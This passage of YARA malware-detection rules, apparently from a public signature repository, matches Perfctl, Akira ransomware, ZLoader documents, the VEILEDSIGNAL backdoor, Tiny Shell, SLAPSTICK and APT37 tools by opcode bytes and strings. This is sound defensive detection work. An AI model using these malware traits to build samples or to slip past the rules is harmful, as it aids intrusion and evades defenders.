		$s2 = "SHELL=pkexec" ascii fullword
		$s3 = "/dump_" ascii fullword
		$s4 = ".EYE$" ascii
	condition:
		uint16( 0 ) == 0x457f and filesize < 30000KB and 2 of them or all of them
}

rule SIGNATURE_BASE_MAL_LNX_Perfctl_Oct24 : FILE
{
	meta:
		description = "Detects Perfctl malware samples"
		author = "Florian Roth"
		id = "391513ae-3348-5297-a22a-6f06e50f06d2"
		date = "2024-10-09"
		modified = "2024-12-12"
		reference = "https://www.aquasec.com/blog/perfctl-a-stealthy-malware-targeting-millions-of-linux-servers/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_perfctl_oct24.yar#L23-L42"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "d47df34240f59124542acc41484e8935327490c04c4e15a558b2ffc6f9c52ea8"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "a6d3c6b6359ae660d855f978057aab1115b418ed277bb9047cd488f9c7850747"
		hash2 = "ca3f246d635bfa560f6c839111be554a14735513e90b3e6784bedfe1930bdfd6"
	strings:
		$op1 = { 83 45 f8 01 8b 45 f8 48 3b 45 98 0f 82 1b ff ff ff 90 c9 c3 55 }
		$op2 = { 48 8b 55 a0 48 01 ca 0f b6 0a 48 8b 55 a8 89 c0 88 4c 02 18 8b 45 fc 83 e0 3f }
		$op3 = { 88 4c 10 58 83 45 f8 01 83 7d f8 03 0f 86 68 ff ff ff 90 c9 c3 55 }
		$op4 = { 48 83 ec 68 48 89 7d a8 48 89 75 a0 48 89 55 98 48 8b 45 a8 48 8b 00 83 e0 3f 89 45 fc }
	condition:
		uint16( 0 ) == 0x457f and filesize < 300KB and 2 of them
}

rule SIGNATURE_BASE_SUSP_PS1_JAB_Pattern_Jun22_1 : FILE
{
	meta:
		description = "Detects suspicious UTF16 and Base64 encoded PowerShell code that starts with a $ sign and a single char variable"
		author = "Florian Roth (Nextron Systems)"
		id = "9ecca7d9-3b63-5615-a223-5efa1c53510e"
		date = "2022-06-10"
		modified = "2023-12-05"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_susp_ps_jab.yar#L2-L29"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9ad61dca5c945ed87642668e3b834b12c813af244437903a5abb5c69459b9456"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$xc1 = { 4a 41 42 ?? 41 43 41 41 50 51 41 67 41 }
		$xc2 = { 4a 00 41 00 42 00 ?? 00 41 00 43 00 41 00 41 00 50 00 51 00 41 00 67 00 41 }
		$xc3 = { 4a 41 42 ?? 41 44 30 41 }
		$xc4 = { 4a 00 41 00 42 00 ?? 00 41 00 44 00 30 00 41 }
	condition:
		filesize < 30MB and 1 of them
}


rule SIGNATURE_BASE_APT_NK_MAL_DLL_Apr23_1 : FILE
{
	meta:
		description = "Detects DLLs loaded by shellcode loader (6ce5b6b4cdd6290d396465a1624d489c7afd2259a4d69b73c6b0ba0e5ad4e4ad) (relation to Lazarus group)"
		author = "Florian Roth (Nextron Systems)"
		id = "c2abe266-0c21-51aa-9426-46a4f59df937"
		date = "2023-04-03"
		modified = "2023-12-05"
		reference = "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_mal_gopuram_apr23.yar#L43-L75"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e0a8f3896c0119ce399e83fe3e565c66144693e84996aa3d01ca1b6315521782"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "69dd140f45c3fa3aaa64c69f860cd3c74379dec37c46319d7805a29b637d4dbf"
		hash3 = "bb1066c1ca53139dc5a2c1743339f4e6360d6fe4f2f3261d24fc28a12f3e2ab9"
		hash4 = "dca33d6dacac0859ec2f3104485720fe2451e21eb06e676f4860ecc73a41e6f9"
		hash5 = "fe948451df90df80c8028b969bf89ecbf501401e7879805667c134080976ce2e"
	strings:
		$x1 = "vG2eZ1KOeGd2n5fr" ascii fullword
		$s1 = "Windows %d(%d)-%s" ascii fullword
		$s2 = "auth_timestamp: " ascii fullword
		$s3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36" wide fullword
		$op1 = { b8 c8 00 00 00 83 fb 01 44 0f 47 e8 41 8b c5 48 8b b4 24 e0 18 00 00 4c 8b a4 24 e8 18 00 00 48 8b 8d a0 17 00 00 48 33 cc }
		$op2 = { 33 d2 46 8d 04 b5 00 00 00 00 66 0f 1f 44 00 00 49 63 c0 41 ff c0 8b 4c 84 70 31 4c 94 40 48 ff c2 }
		$op3 = { 89 5c 24 50 0f 57 c0 c7 44 24 4c 04 00 00 00 c7 44 24 48 40 00 00 00 0f 11 44 24 60 0f 11 44 24 70 0f 11 45 80 0f 11 45 90 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and ( 1 of ( $x* ) or 2 of them ) or ( $x1 and 1 of ( $s* ) or 3 of them )
}


rule SIGNATURE_BASE_HKTL_Rusthound : FILE
{
	meta:
		description = "Detect hacktool RustHound (Sharphound clone)"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "d2fd79a5-9a1a-51de-920c-61653c8b0064"
		date = "2023-03-30"
		modified = "2025-12-18"
		reference = "https://github.com/OPENCYBER-FR/RustHound"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/thor-hacktools.yar#L4682-L4709"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "409f61a34d9771643246f401a9670f6f7dcced9df50cbd89a2e1a5c9ba8d03ab"
		hash = "b1a58a9c94b1df97a243e6c3fc2d04ffd92bc802edc7d8e738573b394be331a9"
		hash = "170f4a48911f3ebef674aade05184ea0a6b1f6b089bcffd658e95b9905423365"
		hash = "e52f6496b863b08296bf602e92a090768e86abf498183aa5b6531a3a2d9c0bdb"
		hash = "847e57a35df29d40858c248e5b278b09cfa89dd4201cb24262c6158395e2e585"
		hash = "4edfed92b54d32a58b2cfc926f98a56637e89850410706abcc469a8bc846bc85"
		hash = "feba0c16830ea0a13819a9ab8a221cc64d5a9b3cc73f3c66c405a171a2069cc1"
		hash = "21d37c2393a6f748fe34c9d2f52693cb081b63c3a02ca0bebe4a584076f5886c"
		hash = "874a1a186eb5808d456ce86295cd5f09d6c819375acb100573c2103608af0d84"
		hash = "bf576bd229393010b2bb4ba17e49604109e294ca38cf19647fc7d9c325f7bcd1"
		logic_hash = "386b734ad7f3cf02f096236c941033b3f905a3368b8a72dd63e91e6e94f12f8d"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$rh1 = "rusthound" fullword ascii wide
		$rh2 = "Making json/zip files finished!" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0x457f ) and 1 of ( $rh* )
}

rule SIGNATURE_BASE_MAL_WIN_Akira_Apr25 : FILE
{
	meta:
		description = "This Yara rule from ISH Tecnologia's Heimdall Security Research Team detects key components of Akira Ransomware"
		author = "0x0d4y-Icaro Cesar"
		id = "76722cb6-70be-465f-9ef1-afd78f694289"
		date = "2025-04-11"
		modified = "2025-04-16"
		reference = "https://ish.com.br/wp-content/uploads/2025/04/A-Anatomia-do-Ransomware-Akira-e-sua-expansao-multiplataforma.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_win_akira_apr25.yar#L1-L28"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "205589629ead5d3c1d9e914b49c08589"
		logic_hash = "112f844dff4c48d861f86736503da51e8fbc58805f463df1f9358781034f2e24"
		score = 90
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		rule_matching_tlp = "TLP:WHITE"
		rule_sharing_tlp = "TLP:WHITE"
		malpedia_family = "win.akira"
	strings:
		$code_custom_algorithm = { 44 8B CF 90 42 0F B6 4C 0D ?? 83 E9 4E 44 8D 04 89 45 03 C0 B8 09 04 02 81 41 F7 E8 41 03 D0 C1 FA 06 8B C2 C1 E8 1F 03 D0 6B C2 7F 44 2B C0 41 83 C0 7F B8 09 04 02 81 41 F7 E8 41 03 D0 C1 FA 06 8B C2 C1 E8 1F 03 D0 6B C2 7F 44 2B C0 46 88 44 0D ?? 49 FF C1 }
		$code_aes_key_expansion = { 41 8D 41 FF 33 D2 8B 0C ?? 41 8B C1 41 F7 F2 85 D2 75 ?? 44 8B C1 0F B6 C1 0F B6 0C ?? 41 8B C0 48 C1 E8 ?? C1 E1 ?? 0F B6 04 ?? 0B C8 41 8B C0 48 C1 E8 ?? C1 E1 ?? 0F B6 D0 49 C1 E8 ?? 0F B6 04 ?? 0B C8 41 0F B6 C0 C1 E1 ?? 0F B6 14 ?? 0F B6 45 00 0B CA 33 C8 48 FF C5 }
		$akira_str_I = "akira" ascii
		$akira_str_II = "onion" ascii
		$akira_str_III = "powershell" ascii
		$akira_str_IV = "akira_readme.txt" ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of ( $code_* ) and all of ( $akira_str_* )
}

rule SIGNATURE_BASE_MAL_DOC_Zloader_Oct20_1 : FILE
{
	meta:
		description = "Detects weaponized ZLoader documents"
		author = "Florian Roth (Nextron Systems)"
		id = "34145746-9733-5dd9-9dcf-99e3a3ceee4f"
		date = "2020-10-10"
		modified = "2023-12-05"
		reference = "https://twitter.com/JohnLaTwC/status/1314602421977452544"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_zloader_maldocs.yar#L2-L22"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6f546a860361d3caff99c282465dbbd1880460c7491a1b5ad065c1b5d91e5d49"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "668ca7ede54664360b0a44d5e19e76beb92c19659a8dec0e7085d05528df42b5"
		hash2 = "a2ffabbb1b5a124f462a51fee41221081345ec084d768ffe1b1ef72d555eb0a0"
		hash3 = "d268af19db475893a3d19f76be30bb063ab2ca188d1b5a70e51d260105b201da"
	strings:
		$sc1 = { 78 4E FC 04 AB 6B 17 E2 33 E3 49 62 50 69 BB 60
               31 00 1E 00 02 4B BA E2 D8 E3 92 22 1E 69 96 20
               98 }
		$sc2 = { 6B 9E E2 36 E3 69 62 72 69 3A 60 55 6E }
		$sc3 = { 3E 69 76 60 59 6E 34 FB 87 6B 75 }
	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 40KB and filesize > 30KB and all of them
}

rule SIGNATURE_BASE_APT_MAL_VEILEDSIGNAL_Backdoor_Apr23 : FILE
{
	meta:
		description = "Detects malicious VEILEDSIGNAL backdoor"
		author = "X__Junior"
		id = "74c403ea-3178-58e8-88b3-a51c1d475868"
		date = "2023-04-20"
		modified = "2023-12-05"
		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_tradingtech_apr23.yar#L2-L17"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "4fe1a1b09344cd84f981b193b480d23807893b59ad781868d82089a7306c042f"
		score = 85
		quality = 85
		tags = "FILE"
		hash1 = "aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43"
	strings:
		$op1 = {B8 AB AA AA AA F7 E1 8B C1 C1 EA 02 8D 14 52 03 D2 2B C2 8A 84 05 ?? ?? ?? ?? 30 84 0D ?? ?? ?? ??}
		$op2 = { 50 66 0F 13 85 ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 3C 00 00 00 C7 85 ?? ?? ?? ?? 40 00 00 00 C7 85 ?? ?? ?? ?? 05 00 00 00 FF 15}
		$op3 = { 6A 00 8D 85 ?? ?? ?? ?? 50 6A 04 8D 85 ?? ?? ?? ?? 50 57 FF 15 }
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule SIGNATURE_BASE_APT_NK_MAL_M_Hunting_VEILEDSIGNAL_1 : FILE
{
	meta:
		description = "Detects VEILEDSIGNAL malware"
		author = "Mandiant"
		id = "3e7c92fe-a7bd-5180-9935-4f98f2b64e2b"
		date = "2023-04-20"
		modified = "2023-12-05"
		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_tradingtech_apr23.yar#L37-L55"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "439a201e6a44a00a31fd13efc83a1acf858a52201e3ab48d5cf095bae1e48cf7"
		score = 75
		quality = 85
		tags = "FILE"
		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
		hash1 = "404b09def6054a281b41d309d809a428"
		hash2 = "c6441c961dcad0fe127514a918eaabd4"
	strings:
		$rh1 = { 68 5D 7A D2 2C 3C 14 81 2C 3C 14 81 2C 3C 14 81 77 54 10 80 26 3C 14 81 77 54 17 80 29 3C 14 81 77 54 11 80 AB 3C 14 81 D4 4C 11 80 33 3C 14 81 D4 4C 10 80 22 3C 14 81 D4 4C 17 80 25 3C 14 81 77 54 15 80 27 3C 14 81 2C 3C 15 81 4B 3C 14 81 94 4D 1D 80 28 3C 14 81 94 4D 14 80 2D 3C 14 81 94 4D 16 80 2D 3C 14 81 }
		$rh2 = { 00 E5 A0 2B 44 84 CE 78 44 84 CE 78 44 84 CE 78 1F EC CA 79 49 84 CE 78 1F EC CD 79 41 84 CE 78 1F EC CB 79 C8 84 CE 78 BC F4 CA 79 4A 84 CE 78 BC F4 CD 79 4D 84 CE 78 BC F4 CB 79 65 84 CE 78 1F EC CF 79 43 84 CE 78 44 84 CF 78 22 84 CE 78 FC F5 C7 79 42 84 CE 78 FC F5 CE 79 45 84 CE 78 FC F5 CC 79 45 84 CE 78}
		$rh3 = { DA D2 21 22 9E B3 4F 71 9E B3 4F 71 9E B3 4F 71 C5 DB 4C 70 94 B3 4F 71 C5 DB 4A 70 15 B3 4F 71 C5 DB 4B 70 8C B3 4F 71 66 C3 4B 70 8C B3 4F 71 66 C3 4C 70 8F B3 4F 71 C5 DB 49 70 9F B3 4F 71 66 C3 4A 70 B0 B3 4F 71 C5 DB 4E 70 97 B3 4F 71 9E B3 4E 71 F9 B3 4F 71 26 C2 46 70 9F B3 4F 71 26 C2 B0 71 9F B3 4F 71 9E B3 D8 71 9F B3 4F 71 26 C2 4D 70 9F B3 4F 71 }
		$rh4 = { CB 8A 35 66 8F EB 5B 35 8F EB 5B 35 8F EB 5B 35 D4 83 5F 34 85 EB 5B 35 D4 83 58 34 8A EB 5B 35 D4 83 5E 34 09 EB 5B 35 77 9B 5E 34 92 EB 5B 35 77 9B 5F 34 81 EB 5B 35 77 9B 58 34 86 EB 5B 35 D4 83 5A 34 8C EB 5B 35 8F EB 5A 35 D3 EB 5B 35 37 9A 52 34 8C EB 5B 35 37 9A 58 34 8E EB 5B 35 37 9A 5B 34 8E EB 5B 35 37 9A 59 34 8E EB 5B 35 }
	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and 1 of ( $rh* )
}

rule SIGNATURE_BASE_APT_NK_MAL_M_Hunting_VEILEDSIGNAL_2 : FILE
{
	meta:
		description = "Detects VEILEDSIGNAL malware"
		author = "Mandiant"
		id = "1b96c2f0-1c57-593e-9630-a72d43eb857e"
		date = "2023-04-20"
		modified = "2023-12-05"
		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_tradingtech_apr23.yar#L57-L76"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "62f74faa8f136f4dc63a4b703cffcb97b438cc4f180d5d127d1fc4b86d3cd1d1"
		score = 75
		quality = 85
		tags = "FILE"
		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
		hash1 = "404b09def6054a281b41d309d809a428"
	strings:
		$sb1 = { C1 E0 05 4D 8? [2] 33 D0 45 69 C0 7D 50 BF 12 8B C2 41 FF C2 C1 E8 07 33 D0 8B C2 C1 E0 16 41 81 C0 87 D6 12 00 }
		$si1 = "CryptBinaryToStringA" fullword
		$si2 = "BCryptGenerateSymmetricKey" fullword
		$si3 = "CreateThread" fullword
		$ss1 = "ChainingModeGCM" wide
		$ss2 = "__tutma" fullword
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}

rule SIGNATURE_BASE_APT_NK_MAL_M_Hunting_VEILEDSIGNAL_3 : FILE
{
	meta:
		description = "Detects VEILEDSIGNAL malware"
		author = "Mandiant"
		id = "82790c65-1d93-509b-95df-841543943c30"
		date = "2023-04-20"
		modified = "2023-12-05"
		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_tradingtech_apr23.yar#L78-L96"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "c6441c961dcad0fe127514a918eaabd4"
		logic_hash = "2109340edfb1891baef5bd92ba3c9da77f891341de9e8094060a649de62fade2"
		score = 75
		quality = 85
		tags = "FILE"
		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
	strings:
		$ss1 = { 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6A 73 6F 6E 2C 20 74 65 78 74 2F 6A 61 76 61 73 63 72 69 70 74 2C 20 2A 2F 2A 3B 20 71 3D 30 2E 30 31 00 00 61 63 63 65 70 74 00 00 65 6E 2D 55 53 2C 65 6E 3B 71 3D 30 2E 39 00 00 61 63 63 65 70 74 2D 6C 61 6E 67 75 61 67 65 00 63 6F 6F 6B 69 65 00 00 }
		$si1 = "HttpSendRequestW" fullword
		$si2 = "CreateNamedPipeW" fullword
		$si3 = "CreateThread" fullword
		$se1 = "DllGetClassObject" fullword
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}

rule SIGNATURE_BASE_APT_NK_MAL_M_Hunting_VEILEDSIGNAL_4 : FILE
{
	meta:
		description = "Detects VEILEDSIGNAL malware"
		author = "Mandiant"
		id = "379e6471-3c4f-5c72-b8fd-17f481e89ac6"
		date = "2023-04-20"
		modified = "2023-12-05"
		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_tradingtech_apr23.yar#L98-L118"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "2a875c39a43ff054ed5a6cf2fa1f17c2adc189452582763db8ceddfa652abfbf"
		score = 75
		quality = 85
		tags = "FILE"
		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
		hash1 = "404b09def6054a281b41d309d809a428"
		hash2 = "c6441c961dcad0fe127514a918eaabd4"
	strings:
		$sb1 = { FF 15 FC 76 01 00 8B F0 85 C0 74 ?? 8D 50 01 [6-16] FF 15 [4] 48 8B D8 48 85 C0 74 ?? 89 ?? 24 28 44 8B CD 4C 8B C? 48 89 44 24 20 }
		$sb2 = { 33 D2 33 C9 FF 15 [4] 4C 8B CB 4C 89 74 24 28 4C 8D 05 [2] FF FF 44 89 74 24 20 33 D2 33 C9 FF 15 }
		$si1 = "CreateThread" fullword
		$si2 = "MultiByteToWideChar" fullword
		$si3 = "LocalAlloc" fullword
		$se1 = "DllGetClassObject" fullword
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}


rule SIGNATURE_BASE_APT_NK_MAL_M_Hunting_VEILEDSIGNAL_6 : FILE
{
	meta:
		description = "Detects VEILEDSIGNAL malware"
		author = "Mandiant"
		id = "2cbedbc0-d465-5674-bf9c-9362003eb8d2"
		date = "2023-04-20"
		modified = "2023-12-05"
		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_tradingtech_apr23.yar#L145-L164"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "d3b1e5f7a6b73fc4cdc5abe19a412130cde33c2d52c0ad78256b865e018e3794"
		score = 75
		quality = 85
		tags = "FILE"
		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
		hash1 = "00a43d64f9b5187a1e1f922b99b09b77"
	strings:
		$ss1 = "C:\\Programdata\\" wide
		$ss2 = "devobj.dll" wide fullword
		$ss3 = "msvcr100.dll" wide fullword
		$ss4 = "TpmVscMgrSvr.exe" wide fullword
		$ss5 = "\\Microsoft\\Windows\\TPM" wide fullword
		$ss6 = "CreateFileW" ascii fullword
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them
}


rule SIGNATURE_BASE_EXT_HKTL_MAL_Tinyshell_Backdoor : FILE
{
	meta:
		description = "Detects Tiny Shell - an open-source UNIX backdoor"
		author = "Mandiant"
		id = "69bce2ec-a9af-5656-9a16-0cddb8b0820e"
		date = "2022-03-17"
		modified = "2026-01-30"
		reference = "https://www.mandiant.com/resources/blog/unc2891-overview"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_unc2891_tinyshell_slapstick.yar#L1-L28"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1fe9def11dced638ad38236652877427b61d7138fc8c6ce3fe7f1403c367468f"
		score = 80
		quality = 85
		tags = "FILE"
		hash1 = "1f889871263bd6cdad8f3d4d5fc58b4a32669b944d3ed0860730374bb87d730a"
	strings:
		$sb1 = { C6 00 48 C6 4? ?? 49 C6 4? ?? 49 C6 4? ?? 4C C6 4? ?? 53 C6 4? ?? 45 C6 4? ?? 54 C6 4? ?? 3D C6 4? ?? 46 C6 4? ?? 00 }
		$sb2 = { C6 00 54 C6 4? ?? 4D C6 4? ?? 45 C6 4? ?? 3D C6 4? ?? 52 }
		$ss1 = "fork" ascii fullword wide
		$ss2 = "socket" ascii fullword wide
		$ss3 = "bind" ascii fullword wide
		$ss4 = "listen" ascii fullword wide
		$ss5 = "accept" ascii fullword wide
		$ss6 = "alarm" ascii fullword wide
		$ss7 = "shutdown" ascii fullword wide
		$ss8 = "creat" ascii fullword wide
		$ss9 = "write" ascii fullword wide
		$ss10 = "open" ascii fullword wide
		$ss11 = "read" ascii fullword wide
		$ss12 = "execl" ascii fullword wide
		$ss13 = "gethostbyname" ascii fullword wide
		$ss14 = "connect" ascii fullword wide
	condition:
		uint32( 0 ) == 0x464c457f and 1 of ( $sb* ) and 10 of ( $ss* )
}

rule SIGNATURE_BASE_EXT_HKTL_MAL_Tinyshell_Backdoor_SPARC : FILE
{
	meta:
		description = "Detects Tiny Shell variant for SPARC - an open-source UNIX backdoor"
		author = "Mandiant"
		id = "332c0c16-e94c-5f09-9e26-a94601b75453"
		date = "2022-03-17"
		modified = "2026-01-30"
		reference = "https://www.mandiant.com/resources/blog/unc2891-overview"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_unc2891_tinyshell_slapstick.yar#L30-L42"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "cda78e26c2e274d24d1e4656fcd09af2930f43af7fac01a3f410a5692d79a5ae"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$sb_xor_1 = { DA 0A 80 0C 82 18 40 0D C2 2A 00 0B 96 02 E0 01 98 03 20 01 82 1B 20 04 80 A0 00 01 82 60 20 00 98 0B 00 01 C2 4A 00 0B 80 A0 60 00 32 BF FF F5 C2 0A 00 0B 81 C3 E0 08 }
		$sb_xor_2 = { C6 4A 00 00 80 A0 E0 00 02 40 00 0B C8 0A 00 00 85 38 60 00 C4 09 40 02 84 18 80 04 C4 2A 00 00 82 00 60 01 80 A0 60 04 83 64 60 00 10 6F FF F5 90 02 20 01 81 C3 E0 08 }
	condition:
		uint32( 0 ) == 0x464C457F and ( uint16( 0x10 ) & 0x0200 == 0x0200 ) and ( uint16( 0x12 ) & 0x0200 == 0x0200 ) and 1 of them
}

rule SIGNATURE_BASE_EXT_APT_UNC2891_SLAPSTICK : FILE
{
	meta:
		description = "Detects SLAPSTICK malware used by UNC2891"
		author = "Mandiant"
		id = "788b259e-02cf-5265-9c13-2b5a4b937c32"
		date = "2022-03-17"
		modified = "2026-01-30"
		reference = "https://www.mandiant.com/resources/blog/unc2891-overview"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_unc2891_tinyshell_slapstick.yar#L44-L57"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b046a949dab2f38b8181782cc6ea0782d2e102c0c30bc782de74112a77c23d6e"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$ss1 = { 25 59 20 25 62 20 25 64 20 25 48 3a 25 4d 3a 25 53 20 20 20 20 00 }
		$ss2 = { 25 2d 32 33 73 20 25 2d 32 33 73 20 25 2d 32 33 73 00 }
		$ss3 = { 25 2d 32 33 73 20 25 2d 32 33 73 20 25 2d 32 33 73 20 25 2d 32 33 73 20 25 2d 32 33 73 20 25 73 0a 00 }
	condition:
		( uint32( 0 ) == 0x464c457f ) and all of them
}

rule SIGNATURE_BASE_Hvs_APT37_Smb_Scanner : FILE
{
	meta:
		description = "Unknown smb login scanner used by APT37"
		author = "Marc Stroebel"
		id = "89a5cc32-f151-583d-823d-692de2c2b084"
		date = "2020-12-15"
		modified = "2023-12-05"
		reference = "https://www.hybrid-analysis.com/sample/d16163526242508d6961f061aaffe3ae5321bd64d8ceb6b2788f1570757595fc?environmentId=2"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_lazarus_dec20.yar#L2-L29"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "0bea71db7052f1c22c01cfbf710d4ed24651cbbd8b0fd29f09dfd49c4e314028"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$s1 = "Scan.exe StartIP EndIP ThreadCount logfilePath [Username Password Deep]" fullword ascii
		$s2 = "%s - %s:(Username - %s / Password - %s" fullword ascii
		$s3 = "Load mpr.dll Error " fullword ascii
		$s4 = "Load Netapi32.dll Error " fullword ascii
		$s5 = "%s U/P not Correct! - %d" fullword ascii
		$s6 = "GetNetWorkInfo Version 1.0" fullword wide
		$s7 = "Hello World!" fullword wide
		$s8 = "%s Error: %ld" fullword ascii
		$s9 = "%s U/P Correct!" fullword ascii
		$s10 = "%s --------" fullword ascii
		$s11 = "%s%-30s%I64d" fullword ascii
		$s12 = "%s%-30s(DIR)" fullword ascii
		$s13 = "%04d-%02d-%02d %02d:%02d" fullword ascii
		$s14 = "Share:              Local Path:                   Uses:   Descriptor:" fullword ascii
		$s15 = "Share:              Type:                   Remark:" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and ( 10 of them )
}

rule SIGNATURE_BASE_Hvs_APT37_Cred_Tool : FILE
{
	meta:
		description = "Unknown cred tool used by APT37"
		author = "Markus Poelloth"
		id = "e830025a-f2ac-55b1-aca3-ded9dba83a67"
		date = "2020-12-15"
		modified = "2023-12-05"
